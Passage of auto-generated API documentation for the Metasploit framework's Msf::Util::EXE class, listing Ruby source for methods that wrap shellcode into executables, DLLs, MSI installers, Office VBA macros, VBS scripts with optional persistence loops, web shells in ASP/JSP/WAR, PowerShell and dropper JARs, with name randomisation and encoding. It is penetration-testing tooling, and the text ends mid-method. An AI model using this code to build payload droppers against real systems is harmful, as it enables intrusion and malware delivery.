Class: Msf::Util::EXE

Inherits:
Object
  • Object
show all
Defined in:
lib/msf/util/exe.rb

Overview

The class provides methods for creating and encoding executable file formats for various platforms. It is a replacement for the previous code in Rex::Text

Class Method Summary collapse

Class Method Details

.clear_dynamic_base(exe, pe) ⇒ String

Clears the DYNAMIC_BASE flag for a Windows executable

Parameters:

  • exe (String)

    The raw executable to be modified by the method

  • pe (Rex::PeParsey::Pe)

    Use Rex::PeParsey::Pe.new_from_file

Returns:

  • (String)

    the modified executable


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# File 'lib/msf/util/exe.rb', line 205

def self.clear_dynamic_base(exe, pe)
  c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse
  c_bits[6] = 0 # DYNAMIC_BASE
  new_dllcharacteristics = c_bits.reverse.join.to_i(2)

  # PE Header Pointer offset = 60d
  # SizeOfOptionalHeader offset = 94h
  dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94
  exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")
  exe
end

.elf?(code) ⇒ Boolean

Returns:

  • (Boolean)

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# File 'lib/msf/util/exe.rb', line 2213

def self.elf?(code)
  code[0..3] == "\x7FELF"
end

.encode_stub(framework, arch, code, platform = nil, badchars = '') ⇒ Object

self.encode_stub

Parameters:

  • framework (Msf::Framework)
  • arch (String)
  • code (String)
  • platform (String) (defaults to: nil)
  • badchars (String) (defaults to: '')

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# File 'lib/msf/util/exe.rb', line 1650

def self.encode_stub(framework, arch, code, platform = nil, badchars = '')
  return code unless framework.encoders
  framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
    begin
      enc = framework.encoders.create(name)
      raw = enc.encode(code, badchars, nil, platform)
      return raw if raw
    rescue
    end
  end
  nil
end

.exe_sub_method(code, opts = {}) ⇒ String

self.exe_sub_method

Parameters:

  • code (String)
  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :exe_type (Symbol)
  • :service_exe (String)
  • :sub_method (Boolean)

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 532

def self.exe_sub_method(code,opts ={})
  pe = self.get_file_contents(opts[:template])

  case opts[:exe_type]
  when :service_exe
    max_length = 8192
    name = opts[:servicename]
    if name
      bo = pe.index('SERVICENAME')
      unless bo
        raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"
      end
      pe[bo, 11] = [name].pack('a11')
    end
    pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
  when :dll
    max_length = 2048
  when :exe_sub
    max_length = 4096
  end

  bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")

  if code.length <= max_length
    pe[bo, code.length] = [code].pack("a*")
  else
    raise RuntimeError, "The EXE generator now has a max size of " +
                        "#{max_length} bytes, please fix the calling module"
  end

  if opts[:exe_type] == :dll
    mt = pe.index('MUTEX!!!')
    pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt

    if opts[:dll_exitprocess]
      exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
      exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
      et_index =  pe.index(exit_thread)
      if et_index
        pe[et_index,exit_process.length] = exit_process
      else
        raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
      end
    end
  end

  pe
end

.find_payload_tag(mo, err_msg) ⇒ Integer

self.find_payload_tag

Parameters:

  • mo (String)
  • err_msg (String)

Returns:

  • (Integer)

Raises:

  • (RuntimeError)

    if the "PAYLOAD:" is not found


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# File 'lib/msf/util/exe.rb', line 2205

def self.find_payload_tag(mo, err_msg)
  bo = mo.index('PAYLOAD:')
  unless bo
    raise RuntimeError, err_msg
  end
  bo
end

.generate_nops(framework, arch, len, opts = {}) ⇒ Object


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# File 'lib/msf/util/exe.rb', line 1663

def self.generate_nops(framework, arch, len, opts = {})
  opts['BadChars'] ||= ''
  opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]

  return nil unless framework.nops
  framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
    begin
      nop = framework.nops.create(name)
      raw = nop.generate_sled(len, opts)
      return raw if raw
    rescue
      # @TODO: stop rescuing everying on each of these, be selective
    end
  end
  nil
end

.get_file_contents(file, perms = "rb") ⇒ String

self.get_file_contents

Parameters:

  • perms (String) (defaults to: "rb")
  • file (String)

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 2193

def self.get_file_contents(file, perms = "rb")
  contents = ''
  File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}
  contents
end

.is_eicar_corrupted?Boolean

EICAR Canary

Returns:

  • (Boolean)

    Should return true


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# File 'lib/msf/util/exe.rb', line 2169

def self.is_eicar_corrupted?
  path = ::File.expand_path(::File.join(
    ::File.dirname(__FILE__),"..", "..", "..", "data", "eicar.com")
  )
  return true unless ::File.exist?(path)
  ret = false
  if ::File.exist?(path)
    begin
      data = ::File.read(path)
      unless Digest::SHA1.hexdigest(data) == "3395856ce81f2b7382dee72602f798b642f14140"
        ret = true
      end
    rescue ::Exception
      ret = true
    end
  end
  ret
end

.macho?(code) ⇒ Boolean

Returns:

  • (Boolean)

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# File 'lib/msf/util/exe.rb', line 2217

def self.macho?(code)
  code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE"
end

.read_replace_script_template(filename, hash_sub) ⇒ Object

self.read_replace_script_template

Parameters:

  • filename (String)

    Name of the file

  • hash_sub (Hash)

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# File 'lib/msf/util/exe.rb', line 69

def self.read_replace_script_template(filename, hash_sub)
  template_pathname = File.join(Msf::Config.data_directory, "templates",
                                "scripts", filename)
  template = ''
  File.open(template_pathname, "rb") {|f| template = f.read}
  template % hash_sub
end

.replace_msi_buffer(pe, opts) ⇒ String

self.replace_msi_buffer

Parameters:

  • pe (String)
  • opts (String)
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 784

def self.replace_msi_buffer(pe, opts)
  opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")

  if opts[:msi_template].include?(File::SEPARATOR)
    template = opts[:msi_template]
  else
    template = File.join(opts[:msi_template_path], opts[:msi_template])
  end

  msi = self.get_file_contents(template)

  section_size = 2**(msi[30..31].unpack('v')[0])

  # This table is one of the few cases where signed values are needed
  sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')

  buffer_chain = []

  # This is closely coupled with the template provided and ideally
  # would be calculated from the dir stream?
  current_secid = 5

  until current_secid == -2
    buffer_chain << current_secid
    current_secid = sector_allocation_table[current_secid]
  end

  buffer_size = buffer_chain.length * section_size

  if pe.size > buffer_size
    raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
  end

  pe_block_start = 0
  pe_block_end = pe_block_start + section_size - 1

  buffer_chain.each do |section|
    block_start = section_size * (section + 1)
    block_end = block_start + section_size - 1
    pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
    msi[block_start..block_end] = pe_block
    pe_block_start = pe_block_end + 1
    pe_block_end += section_size
  end

  msi
end

.set_template_default(opts, exe = nil, path = nil) ⇒ Object

Generates a default template

Parameters:

  • opts (Hash)

    The options hash

  • exe (String) (defaults to: nil)

    Template type. If undefined, will use the default.

  • path (String) (defaults to: nil)

    Where you would like the template to be saved.

Options Hash (opts):

  • :template, (String)

    the template type for the executable

  • :template_path, (String)

    the path for the template

  • :fallback, (Bool)

    If there are no options set, default options will be used


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# File 'lib/msf/util/exe.rb', line 33

def self.set_template_default(opts, exe = nil, path = nil)
  # If no path specified, use the default one
  path ||= File.join(Msf::Config.data_directory, "templates")

  # If there's no default name, we must blow it up.
  unless exe
    raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +
    'without default exe name!'
  end

  # Use defaults only if nothing is specified
  opts[:template_path] ||= path
  opts[:template] ||= exe

  # Only use the path when the filename contains no separators.
  unless opts[:template].include?(File::SEPARATOR)
    opts[:template] = File.join(opts[:template_path], opts[:template])
  end

  # Check if it exists now
  return if File.file?(opts[:template])
  # If it failed, try the default...
  if opts[:fallback]
    default_template = File.join(path, exe)
    if File.file?(default_template)
      # Perhaps we should warn about falling back to the default?
      opts.merge!({ :fellback => default_template })
      opts[:template] = default_template
    end
  end
end

.string_to_pushes(string) ⇒ String

Splits a string into a number of assembly push operations

Parameters:

  • string (String)

    String to be used

Returns:

  • (String)

    null terminated string as assembly push ops


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# File 'lib/msf/util/exe.rb', line 503

def self.string_to_pushes(string)
  str = string.dup
  # Align string to 4 bytes
  rem = (str.length) % 4
  if rem > 0
    str << "\x00" * (4 - rem)
    pushes = ''
  else
    pushes = "h\x00\x00\x00\x00"
  end
  # string is now 4 bytes aligned with null byte

  # push string to stack, starting at the back
  while str.length > 0
    four = 'h'+str.slice!(-4,4)
    pushes << four
  end

  pushes
end

.to_bsd_x64_elf(framework, code, opts = {}) ⇒ String

Create a 64-bit Linux ELF containing the payload provided in code

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

    Returns an elf


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# File 'lib/msf/util/exe.rb', line 1085

def self.to_bsd_x64_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_x64_bsd.bin", code)
end

.to_bsd_x86_elf(framework, code, opts = {}) ⇒ String

Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in code

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

    Returns an elf


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# File 'lib/msf/util/exe.rb', line 1074

def self.to_bsd_x86_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
end

.to_dotnetmem(base = 0x12340000, data = "", opts = {}) ⇒ String

Creates a .NET DLL which loads data into memory at a specified location with read/execute permissions

- the data will be loaded at: base+0x2065
- default max size is 0x8000 (32768)

Parameters:

  • base (Integer) (defaults to: 0x12340000)

    Default location set to base 0x12340000

  • data (String) (defaults to: "")
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 1611

def self.to_dotnetmem(base=0x12340000, data="", opts = {})

  # Allow the user to specify their own DLL template
  set_template_default(opts, "dotnetmem.dll")

  pe = self.get_file_contents(opts[:template])

  # Configure the image base
  base_offset = opts[:base_offset] || 180
  pe[base_offset, 4] = [base].pack('V')

  # Configure the TimeDateStamp
  timestamp_offset = opts[:timestamp_offset] || 136
  pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')

  # XXX: Unfortunately we cant make this RWX only RX
  # Mark this segment as read-execute AND writable
  # pe[412,4] = [0xe0000020].pack("V")

  # Write the data into the .text segment
  text_offset = opts[:text_offset] || 0x1065
  text_max    = opts[:text_max] || 0x8000
  pack        = opts[:pack] || 'a32768'
  pe[text_offset, text_max] = [data].pack(pack)

  # Generic a randomized UUID
  uuid_offset = opts[:uuid_offset] || 37656
  pe[uuid_offset,16] = Rex::Text.rand_text(16)

  pe
end

.to_exe_asp(exes = '', opts = {}) ⇒ Object

self.to_exe_asp

Parameters:

  • exes (String) (defaults to: '')
  • opts (Hash) (defaults to: {})

    Unused


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# File 'lib/msf/util/exe.rb', line 1347

def self.to_exe_asp(exes = '', opts = {})
  hash_sub = {}
  hash_sub[:var_bytes]   = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
  hash_sub[:var_fname]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_func]    = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_stream]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_obj]     = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_shell]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
  read_replace_script_template("to_exe.asp.template", hash_sub)
end

.to_exe_aspx(exes = '', opts = {}) ⇒ Object

self.to_exe_aspx

Parameters:

  • exes (String) (defaults to: '')
  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • (Hash)

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# File 'lib/msf/util/exe.rb', line 1366

def self.to_exe_aspx(exes = '', opts = {})
  hash_sub = {}
  hash_sub[:var_file]     = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempdir]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_basedir]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempexe]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])
  read_replace_script_template("to_exe.aspx.template", hash_sub)
end

.to_exe_elf(framework, opts, template, code, big_endian = false) ⇒ String

Create an ELF executable containing the payload provided in code

For the default template, this method just appends the payload, checks if the template is 32 or 64 bit and adjusts the offsets accordingly For user-provided templates, modifies the header to mark all executable segments as writable and overwrites the entrypoint (usually _start) with the payload.

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • opts (Hash)
  • template (String)
  • code (String)
  • big_endian (Boolean) (defaults to: false)

    Set to "false" by default

  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 972

def self.to_exe_elf(framework, opts, template, code, big_endian=false)
  if elf? code
    return code
  end

  # Allow the user to specify their own template
  set_template_default(opts, template)

  # The old way to do it is like other formats, just overwrite a big
  # block of rwx mem with our shellcode.
  #bo = elf.index( "\x90\x90\x90\x90" * 1024 )
  #co = elf.index( " " * 512 )
  #elf[bo, 2048] = [code].pack('a2048') if bo

  # The new template is just an ELF header with its entry point set to
  # the end of the file, so just append shellcode to it and fixup
  # p_filesz and p_memsz in the header for a working ELF executable.
  elf = self.get_file_contents(opts[:template])
  elf << code

  # Check EI_CLASS to determine if the header is 32 or 64 bit
  # Use the proper offsets and pack size
  case elf[4,1].unpack("C").first
  when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
    if big_endian
      elf[0x44,4] = [elf.length].pack('N') #p_filesz
      elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
    else # little endian
      elf[0x44,4] = [elf.length].pack('V') #p_filesz
      elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
    end
  when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
    if big_endian
      elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
      elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
    else # little endian
      elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
      elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
    end
  else
    raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
  end

  elf
end

.to_exe_msi(framework, exe, opts = {}) ⇒ String

Wraps an executable inside a Windows .msi file for auto execution when run

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • exe (String)
  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :msi_template_path (String)
  • :msi_template (String)

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 768

def self.to_exe_msi(framework, exe, opts = {})
  if opts[:uac]
    opts[:msi_template] ||= "template_windows.msi"
  else
    opts[:msi_template] ||= "template_nouac_windows.msi"
  end
  replace_msi_buffer(exe, opts)
end

.to_exe_vba(exes = '') ⇒ Object

self.to_exe_vba

Parameters:

  • exes (String) (defaults to: '')

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# File 'lib/msf/util/exe.rb', line 1191

def self.to_exe_vba(exes='')
  exe = exes.unpack('C*')
  hash_sub = {}
  idx = 0
  maxbytes = 2000
  var_base_idx = 0
  var_base = Rex::Text.rand_text_alpha(5).capitalize

  # First write the macro into the vba file
  hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
  hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s
  hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)

  # Function 1 extracts the binary
  hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s

  # Function 2 executes the binary
  hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s

  hash_sub[:data] = ""

  # Writing the bytes of the exe to the file
  1.upto(exe.length) do |pc|
    while c = exe[idx]
      hash_sub[:data] << "&H#{("%.2x" % c).upcase}"
      if idx > 1 && (idx % maxbytes) == 0
        # When maxbytes are written make a new paragrpah
        hash_sub[:data] << "\r\n"
      end
      idx += 1
    end
  end

  read_replace_script_template("to_exe.vba.template", hash_sub)
end

.to_exe_vbs(exes = '', opts = {}) ⇒ Object

self.to_exe_vba

Parameters:

  • exes (String) (defaults to: '')
  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :delay (String)
  • :persists (String)
  • :exe_filename (String)

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# File 'lib/msf/util/exe.rb', line 1307

def self.to_exe_vbs(exes = '', opts = {})
  delay   = opts[:delay]   || 5
  persist = opts[:persist] || false

  hash_sub = {}
  hash_sub[:exe_filename]  = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'
  hash_sub[:base64_filename]  = Rex::Text.rand_text_alpha(rand(8)+8) << '.b64'
  hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_fname]     = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_func]      = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_obj]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_shell]     = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempdir]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempexe]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_basedir]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)
  hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:init] = ""

  if persist
    hash_sub[:init] << "Do\r\n"
    hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
    hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
    hash_sub[:init] << "Loop\r\n"
  else
    hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
  end

  read_replace_script_template("to_exe.vbs.template", hash_sub)
end

.to_executable(framework, arch, plat, code = '', opts = {}) ⇒ String, NilClass

Executable generators

Parameters:

  • arch (Array<String>)

    The architecture of the system (i.e :x86, :x64)

  • plat (String)

    The platform (i.e Linux, Windows, OSX)

  • code (String) (defaults to: '')
  • opts (Hash) (defaults to: {})

    The options hash

  • framework (Msf::Framework)

    The framework of you want to use

Returns:

  • (String)
  • (NilClass)

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# File 'lib/msf/util/exe.rb', line 109

def self.to_executable(framework, arch, plat, code = '', opts = {})
  if elf? code or macho? code
    return code
  end

  if arch.index(ARCH_X86)

    if plat.index(Msf::Module::Platform::Windows)
      return to_win32pe(framework, code, opts)
    end

    if plat.index(Msf::Module::Platform::Linux)
      return to_linux_x86_elf(framework, code)
    end

    if plat.index(Msf::Module::Platform::OSX)
      return to_osx_x86_macho(framework, code)
    end

    if plat.index(Msf::Module::Platform::BSD)
      return to_bsd_x86_elf(framework, code)
    end

    if plat.index(Msf::Module::Platform::Solaris)
      return to_solaris_x86_elf(framework, code)
    end

    # XXX: Add remaining x86 systems here
  end

  if arch.index(ARCH_X64)
    if (plat.index(Msf::Module::Platform::Windows))
      return to_win64pe(framework, code, opts)
    end

    if plat.index(Msf::Module::Platform::Linux)
      return to_linux_x64_elf(framework, code, opts)
    end

    if plat.index(Msf::Module::Platform::OSX)
      return to_osx_x64_macho(framework, code)
    end

    if plat.index(Msf::Module::Platform::BSD)
      return to_bsd_x64_elf(framework, code)
    end
  end

  if arch.index(ARCH_ARMLE)
    if plat.index(Msf::Module::Platform::OSX)
      return to_osx_arm_macho(framework, code)
    end

    if plat.index(Msf::Module::Platform::Linux)
      return to_linux_armle_elf(framework, code)
    end

    # XXX: Add remaining ARMLE systems here
  end

  if arch.index(ARCH_AARCH64)
    if plat.index(Msf::Module::Platform::Linux)
      return to_linux_aarch64_elf(framework, code)
    end

    # XXX: Add remaining AARCH64 systems here
  end

  if arch.index(ARCH_PPC)
    if plat.index(Msf::Module::Platform::OSX)
      return to_osx_ppc_macho(framework, code)
    end
    # XXX: Add PPC OS X and Linux here
  end

  if arch.index(ARCH_MIPSLE)
    if plat.index(Msf::Module::Platform::Linux)
      return to_linux_mipsle_elf(framework, code)
    end
    # XXX: Add remaining MIPSLE systems here
  end

  if arch.index(ARCH_MIPSBE)
    if plat.index(Msf::Module::Platform::Linux)
      return to_linux_mipsbe_elf(framework, code)
    end
    # XXX: Add remaining MIPSLE systems here
  end
  nil
end

.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) ⇒ String?

Generate an executable of a given format suitable for running on the architecture/platform pair.

This routine is shared between msfvenom, rpc, and payload modules (use <payload>)

constants

Parameters:

  • framework (Framework)
  • arch (String)

    Architecture for the target format; one of the ARCH_*

  • plat (#index)

    platform

  • code (String)

    The shellcode for the resulting executable to run

  • fmt (String)

    One of the executable formats as defined in to_executable_fmt_formats

  • exeopts (Hash)

    Passed directly to the approrpriate method for generating an executable for the given arch/plat pair.

Returns:

  • (String)

    An executable appropriate for the given architecture/platform pair.

  • (nil)

    If the format is unrecognized or the arch and plat don't make sense together.


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# File 'lib/msf/util/exe.rb', line 1953

def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
  # For backwards compatibility with the way this gets called when
  # generating from Msf::Simple::Payload.generate_simple
  if arch.kind_of? Array
    output = nil
    arch.each do |a|
      output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
      break if output
    end
    return output
  end

  # otherwise the result of this huge case statement is returned
  case fmt
  when 'asp'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    Msf::Util::EXE.to_exe_asp(exe, exeopts)
  when 'aspx'
    Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)
  when 'aspx-exe'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    Msf::Util::EXE.to_exe_aspx(exe, exeopts)
  when 'dll'
    case arch
    when ARCH_X86,nil
      to_win32pe_dll(framework, code, exeopts)
    when ARCH_X64
      to_win64pe_dll(framework, code, exeopts)
    end
  when 'exe'
    case arch
    when ARCH_X86,nil
      to_win32pe(framework, code, exeopts)
    when ARCH_X64
      to_win64pe(framework, code, exeopts)
    end
  when 'exe-service'
    case arch
    when ARCH_X86,nil
      to_win32pe_service(framework, code, exeopts)
    when ARCH_X64
      to_win64pe_service(framework, code, exeopts)
    end
  when 'exe-small'
    case arch
    when ARCH_X86,nil
      to_win32pe_old(framework, code, exeopts)
    when ARCH_X64
      to_win64pe(framework, code, exeopts)
    end
  when 'exe-only'
    case arch
    when ARCH_X86,nil
      to_winpe_only(framework, code, exeopts)
    when ARCH_X64
      to_winpe_only(framework, code, exeopts, arch)
    end
  when 'msi'
    case arch
      when ARCH_X86,nil
        exe = to_win32pe(framework, code, exeopts)
      when ARCH_X64
        exe = to_win64pe(framework, code, exeopts)
    end
    exeopts[:uac] = true
    Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
  when 'msi-nouac'
    case arch
    when ARCH_X86,nil
      exe = to_win32pe(framework, code, exeopts)
    when ARCH_X64
      exe = to_win64pe(framework, code, exeopts)
    end
    Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
  when 'elf'
    if elf? code
      return code
    end
    if !plat || plat.index(Msf::Module::Platform::Linux)
      case arch
      when ARCH_X86,nil
        to_linux_x86_elf(framework, code, exeopts)
      when ARCH_X64
        to_linux_x64_elf(framework, code, exeopts)
      when ARCH_AARCH64
        to_linux_aarch64_elf(framework, code, exeopts)
      when ARCH_ARMLE
        to_linux_armle_elf(framework, code, exeopts)
      when ARCH_MIPSBE
        to_linux_mipsbe_elf(framework, code, exeopts)
      when ARCH_MIPSLE
        to_linux_mipsle_elf(framework, code, exeopts)
      end
    elsif plat && plat.index(Msf::Module::Platform::BSD)
      case arch
      when ARCH_X86,nil
        Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
      when ARCH_X64
        Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts)
      end
    elsif plat && plat.index(Msf::Module::Platform::Solaris)
      case arch
      when ARCH_X86,nil
        to_solaris_x86_elf(framework, code, exeopts)
      end
    end
  when 'elf-so'
    if elf? code
      return code
    end
    if !plat || plat.index(Msf::Module::Platform::Linux)
      case arch
      when ARCH_X86
        to_linux_x86_elf_dll(framework, code, exeopts)
      when ARCH_X64
        to_linux_x64_elf_dll(framework, code, exeopts)
      when ARCH_ARMLE
        to_linux_armle_elf_dll(framework, code, exeopts)
      end
    end
  when 'macho', 'osx-app'
    if macho? code
      macho = code
    else
      macho = case arch
      when ARCH_X86,nil
        to_osx_x86_macho(framework, code, exeopts)
      when ARCH_X64
        to_osx_x64_macho(framework, code, exeopts)
      when ARCH_ARMLE
        to_osx_arm_macho(framework, code, exeopts)
      when ARCH_PPC
        to_osx_ppc_macho(framework, code, exeopts)
      end
    end
    fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho
  when 'vba'
    Msf::Util::EXE.to_vba(framework, code, exeopts)
  when 'vba-exe'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    Msf::Util::EXE.to_exe_vba(exe)
  when 'vba-psh'
    Msf::Util::EXE.to_powershell_vba(framework, arch, code)
  when 'vbs'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
  when 'loop-vbs'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
  when 'jsp'
    arch ||= [ ARCH_X86 ]
    tmp_plat = plat.platforms if plat
    tmp_plat ||= Msf::Module::PlatformList.transform('win')
    exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
    Msf::Util::EXE.to_jsp(exe)
  when 'war'
    arch ||= [ ARCH_X86 ]
    tmp_plat = plat.platforms if plat
    tmp_plat ||= Msf::Module::PlatformList.transform('win')
    exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
    Msf::Util::EXE.to_jsp_war(exe)
  when 'psh'
    Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
  when 'psh-net'
    Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
  when 'psh-reflection'
    Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
  when 'psh-cmd'
    Msf::Util::EXE.to_powershell_command(framework, arch, code)
  when 'hta-psh'
    Msf::Util::EXE.to_powershell_hta(framework, arch, code)
  when 'python-reflection'
    Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts)
  end
end

.to_executable_fmt_formatsArray

FMT Formats self.to_executable_fmt_formats

Returns:

  • (Array)

    Returns an array of strings


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# File 'lib/msf/util/exe.rb', line 2132

def self.to_executable_fmt_formats
  [
    "asp",
    "aspx",
    "aspx-exe",
    "axis2",
    "dll",
    "elf",
    "elf-so",
    "exe",
    "exe-only",
    "exe-service",
    "exe-small",
    "hta-psh",
    "jar",
    "jsp",
    "loop-vbs",
    "macho",
    "msi",
    "msi-nouac",
    "osx-app",
    "psh",
    "psh-cmd",
    "psh-net",
    "psh-reflection",
    "python-reflection",
    "vba",
    "vba-exe",
    "vba-psh",
    "vbs",
    "war"
  ]
end

.to_jar(exe, opts = {}) ⇒ Rex::Zip::Jar

Creates a jar file that drops the provided exe into a random file name in the system's temp dir and executes it.

Returns:

  • (Rex::Zip::Jar)

See Also:


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# File 'lib/msf/util/exe.rb', line 1518

def self.to_jar(exe, opts = {})
  spawn = opts[:spawn] || 2
  exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
  zip = Rex::Zip::Jar.new
  zip.add_sub("metasploit") if opts[:random]
  paths = [
    [ "metasploit", "Payload.class" ],
